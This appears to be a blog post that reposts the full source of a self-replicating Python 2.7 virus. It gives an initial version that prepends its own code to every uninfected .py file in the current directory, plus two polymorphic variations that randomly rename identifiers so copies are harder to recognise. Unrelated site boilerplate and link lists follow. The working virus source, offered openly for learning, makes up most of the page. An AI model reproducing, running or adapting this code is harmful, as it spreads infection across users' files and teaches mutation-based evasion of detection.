Learn from here

Initial

#!/usr/bin/python2.7
#MAGIC_STRING_skd83749872

import os
import __main__
import random

def infect(filename):
    os.rename(filename, filename + '~')

    destination = open(filename, "w")
    source = open(filename + "~", "r")
    this = open(__main__.__file__, "r")

    for line in this:
        destination.write(line)
        if line.startswith("#MAGIC_STRING_9348788nkmsd"):
            break;

    for line in source:
        destination.write(line)

    source.close()
    destination.close()
    this.close()

def is_infected(filename):
    f = open(filename, "r")
    return f.readline().startswith("#MAGIC_STRING_skd83749872")

def find_and_infect_files():
    path = "."
    dirs = os.listdir(path)
    for filename in dirs:
        if filename.endswith(".py") and not is_infected(filename):
            infect(filename)

find_and_infect_files()
print "---------------------------this is silly python virus-----------------"

#MAGIC_STRING_9348788nkmsd

Variation 1

#MAGIC_STRING_skd83749872
import os
import __main__
import random

def infect(filename):
    os.rename(filename, filename + "~")

    destination = open(filename, "w")
    source = open(filename + "~", "r")
    this = open(__main__.__file__, "r")

    mutations = init_mutation()

    for line in this:
        destination.write(mutate(line, mutations))
        if line.startswith("#MAGIC_STRING_9348788nkmsd"):
            break;

    for line in source:
        destination.write(line)

    source.close()
    destination.close()
    this.close()

def is_infected(filename):
    f = open(filename, "r")
    return f.readline().startswith("#MAGIC_STRING_skd83749872")

def mutate(line, mutations):
    for k, v in mutations.iteritems():
        line = line.replace(k, v)
    return line

def init_mutation():
    original = ['filename', 'find_and_infect_files', 'init_mutation', 'source'
                'is_infected', 'infect', 'randstring', 'destination', 'mutate',
                'randstring', 'original', 'mutations']
    mutated = []
    for o in original:
        mutated.append((o, rand_string(len(o))))
    return dict(mutated)

def rand_string(length):
    randstring = ''
    for i in range(0, length):
        randstring += chr(random.randint(97, 122))
    return randstring

def find_and_infect_files():
    path = "."
    dirs = os.listdir(path)
    for filename in dirs:
        if filename.endswith(".py") and not is_infected(filename):
            infect(filename)

find_and_infect_files()
print "----------this is silly python virus----------"
#MAGIC_STRING_9348788nkmsd

Variation 2

#MAGIC_STRING_skd83749872
import os
import __main__
import random

def tnjjel(ptphbids):
    os.rename(ptphbids, ptphbids + "~")

    buszvmkioof = open(ptphbids, "w")
    source = open(ptphbids + "~", "r")
    this = open(__main__.__file__, "r")

    ontsgrefv = puezajbvokbom()

    for line in this:
        buszvmkioof.write(vgaisf(line, ontsgrefv))
        if line.startswith("#MAGIC_STRING_9348788nkmsd"):
            break;

    for line in source:
        buszvmkioof.write(line)

    source.close()
    buszvmkioof.close()
    this.close()

def is_tnjjeled(ptphbids):
    f = open(ptphbids, "r")
    return f.readline().startswith("#MAGIC_STRING_skd83749872")

def vgaisf(line, ontsgrefv):
    for k, v in ontsgrefv.iteritems():
        line = line.replace(k, v)
    return line

def puezajbvokbom():
    slrxwwms = ['ptphbids', 'find_and_tnjjel_files', 'puezajbvokbom', 'source'
                'is_tnjjeled', 'tnjjel', 'qebmtybcrm', 'buszvmkioof', 'vgaisf',
                'qebmtybcrm', 'slrxwwms', 'ontsgrefv']
    vgaisfd = []
    for o in slrxwwms:
        vgaisfd.append((o, rand_string(len(o))))
    return dict(vgaisfd)

def rand_string(length):
    qebmtybcrm = ''
    for i in range(0, length):
        qebmtybcrm += chr(random.randint(97, 122))
    return qebmtybcrm

def find_and_tnjjel_files():
    path = "."
    dirs = os.listdir(path)
    for ptphbids in dirs:
        if ptphbids.endswith(".py") and not is_tnjjeled(ptphbids):
            tnjjel(ptphbids)

find_and_tnjjel_files()
print "----------this is silly python virus----------"
#MAGIC_STRING_9348788nkmsd

Bingo !

Basic Virus's Infection & Variation [Python]的更多相关文章

  1. 【Python】【Basic】MacOS上搭建Python开发环境

    1. Python3 1.1. 下载地址:https://www.python.org/downloads/mac-osx/ 1.1.1. PKG包安装: 没啥可说的,点点点,下一步而已,不用手动配置 ...

  2. 【LeetCode】224. Basic Calculator 解题报告(Python)

    作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 栈 参考资料 日期 题目地址:https://lee ...

  3. Python基础知识(Basic knowledge)

    Python基础知识(Basic knowledge) 1.认识Python&基础环境搭建 2.Python基础(上) 3.Python基础(中) 4.Python基础(下) 5.Python ...

  4. Python初学基础

      初入坑Python,打算跟着沫凡小哥的学习视频打个基础,此篇文章做一些简单的学习记录,加油加油加油啦 沫凡小哥的学习网站:https://morvanzhou.github.io/tutorial ...

  5. 6 Easy Steps to Learn Naive Bayes Algorithm (with code in Python)

    6 Easy Steps to Learn Naive Bayes Algorithm (with code in Python) Introduction Here’s a situation yo ...

  6. 【310】◀▶ Python 日期和时间

    参考: python 时间日期计算 Python 日期和时间(菜鸟教程) 8.1. datetime — Basic date and time types python中datetime模块中dat ...

  7. 还在用背单词App?使用Python开发英语单词自测工具,助你逆袭单词王!

    学英语广告 最近也许是刚开学的原因,不管是公众号,还是刷抖音,导出都能看到关于学英语.背单词的广告. 不知道现在学生们背单词买的什么辅导材料.反正我们上学那会,<星火阅读>特别的火.记得当 ...

  8. python网络框架Twisted

    什么是Twisted Twisted是一个用python语言写的事件驱动网络框架,它支持很多种协议,包括UDP,TCP,TLS和其他应用层协议,比如HTTP,SMTP,NNTM,IRC,XMPP/Ja ...

  9. 结合python版本安装python-devel gcc和g++的区别 安装前做yum搜索

    [test@ecs autocloudservices]# yum install python-develLoaded plugins: fastestmirrorLoading mirror sp ...

随机推荐

  1. 你见过吗?9款超炫的复选框(Checkbox)效果

    复选框(Checkbox)在各个浏览器中的效果不一致,因此很多 Web 开发人员会自己重新设计一套界面和使用体验都更佳的复选框功能.下面就给大家分享9款超炫的复选框(Checkbox)效果,纯 CSS ...

  2. 2015年,从毕业到工作的几点感悟(Android开发新人)

    锄禾日当午,汗滴禾下土.       2015年,从毕业到工作的几点感悟(Android开发): 多用三方类库:(成长经验:尽量不要自己手动实现网络上已经有的优秀开源类库的功能,例如: 网络请求:常见 ...

  3. 【Java基础】方法

    Num1:检查参数的有效性 绝大多数的方法和构造器对于传递给它们的参数值都会有某些限制.比如:索引值必须是非负数,对象引用不能为null等等.这些都很常见,你应该在文档中清楚地指明所有这些限制,并在方 ...

  4. Azure ARM (4) 开始创建ARM Resource Group并创建存储账户

    <Windows Azure Platform 系列文章目录> 好了,接下来我们开始创建Azure Resource Group. 1.我们先登录Azure New Portal,地址是: ...

  5. Windows Azure Web Site (17) Azure Web Site 固定公网IP地址

    <Windows Azure Platform 系列文章目录> 在之前的文档中,笔者介绍了Azure Web Site是一个多租户的环境,每个部署单元有一个可以通过Internet访问的入 ...

  6. JAVA 设计模式 中介者模式

    用途 中介者模式 (Mediator) 用一个中介对象来封装一系列的对象交互.中介者使各对象不需要显示地相互引用,从而使其耦合松散,而且可以独立地改变它们之间的交互. 中介者模式是一种行为型模式. 结 ...

  7. 第23/24周 临时数据库(TempDb)

    在今天的性能调优培训里我们讨论下TempDb——SQL Server的公共厕所,在SQL Server里我是这样描述它的.我们的每个人都会经常使用TempDb.有些人直接使用它,有些人不直接使用它.今 ...

  8. 发布网站ASP.NET(ASPX)

    Insus.NET平时是怎样发布自己的开发网站,今天分享给大家.或许你的做法就是跟Insus.NET一样. 这篇还是先在VS创建一个站点,然后再部署至IIS中去. 一般情况之下,Insus.NET创建 ...

  9. Linux安装JDK1.8

    1. 安装前,最好先删除Linux自带的OpenJDK: (1)运行java-version,会发现Linux自带的OpenJDK,运行rpm -qa | grep OpenJDK,找出自带的Open ...

  10. [函数] Unicode 检查字符串是否含中文字

    // 字串含中文 by Aone function IsIncludeChinese(Str: String): Boolean; var i: Integer; UCS4Str: UCS4Strin ...